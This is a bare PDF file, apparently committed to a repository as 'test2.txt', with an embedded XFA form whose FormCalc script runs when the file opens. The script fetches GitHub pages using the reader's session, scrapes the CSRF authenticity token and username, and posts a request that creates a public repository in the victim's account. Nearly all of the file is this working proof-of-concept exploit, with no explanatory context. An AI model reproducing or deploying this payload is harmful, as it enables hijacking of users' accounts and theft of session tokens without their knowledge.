Update test2.txt

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
                    var content = Post("https://github.com/new","_method=GET","application/x-www-form-urlencoded");
					
					var form = Substr(content, At(content, "/repositories"), 720); 
					var begintoken = At(form, "authenticity_token") + 41
					var endtoken = At(form, "/div") - 5;
					var authtoken = Substr(form, begintoken, endtoken - begintoken);
					
					var beginusername = At(content, "octolytics-actor-id") + 38;
					var endusername = At(content, "octolytics-actor-login") - 8;
					var username = Substr(content, beginusername, endusername - beginusername); 
					
					var data = "utf8=%E2%9C%93&amp;repository%5Bname%5D=avlidienbrunn_is_my_hero&amp;repository%5Bdescription%5D=&amp;repository%5Bpublic%5D=true&amp;repository%5Bauto_init%5D=0";
					
					data = Concat(data, "&amp;owner=", Encode(username, "url"));
					data = Concat(data, "&amp;authenticity_token=", Encode(authtoken, "url"));
					
					Post("https://github.com/repositories", data, "application/x-www-form-urlencoded");
                </script>
            </event>
        </field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>